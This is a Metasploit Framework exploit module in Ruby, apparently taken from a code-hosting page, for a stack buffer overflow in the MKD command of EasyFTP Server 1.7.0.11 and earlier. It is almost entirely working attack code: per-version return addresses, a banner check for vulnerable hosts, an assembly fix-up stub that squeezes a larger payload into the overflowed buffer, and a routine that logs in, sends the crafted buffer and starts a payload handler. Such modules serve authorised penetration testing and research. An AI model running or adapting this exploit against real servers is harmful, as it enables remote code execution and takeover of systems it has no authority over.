125 lines
4.1 KiB
Ruby
125 lines
4.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
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and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which
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leads to a stack based buffer overflow.
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NOTE: EasyFTP allows anonymous access by default. However, in order to access the
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'MKD' command, you must have access to an account that can create directories.
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After version 1.7.0.12, this package was renamed "UplusFtp".
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This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
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This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
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'fixing' the return address post-exploitation. See references for more information.
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},
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'Author' =>
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[
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'x90c <geinblues[at]gmail.com>', # original version
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'jduck' # port to metasploit / modified to use fix-up stub (works with bigger payloads)
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '62134' ],
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[ 'EDB', '12044' ],
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[ 'EDB', '14399' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "\x00\x0a\x0d\x2f\x5c",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe
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[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe
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[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x004041dc } ], # call ebp - from ftpbasicsvr.exe
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[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
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[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
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[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
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[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x00404481 } ], # call ebp - from ftpbasicsvr.exe
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[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x00404441 } ], # call ebp - from ftpbasicsvr.exe
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[ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe
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[ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe
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],
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'DisclosureDate' => 'Apr 04 2010',
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'DefaultTarget' => 0))
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end
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def check
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connect
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disconnect
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if (banner =~ /BigFoolCat/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def make_nops(num); "C" * num; end
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def exploit
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connect_login
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# NOTE:
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# This exploit jumps to ebp, which happens to point at a partial version of
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# the 'buf' string in memory. The fixRet below fixes up the code stored on the
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# stack and then jumps there to execute the payload. The value in esp is used
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# with an offset for the fixup.
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fixRet_asm = %q{
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mov edi,esp
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sub edi, 0xfffffe10
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mov [edi], 0xfeedfed5
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add edi, 0xffffff14
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jmp edi
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}
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fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string
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buf = ''
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print_status("Prepending fixRet...")
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buf << fixRet
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buf << make_nops(0x20 - buf.length)
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print_status("Adding the payload...")
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buf << payload.encoded
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# Patch the original stack data into the fixer stub
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buf[10, 4] = buf[268, 4]
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print_status("Overwriting part of the payload with target address...")
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buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes
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print_status("Sending exploit buffer...")
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send_cmd( ['MKD', buf] , false)
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handler
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disconnect
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end
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end
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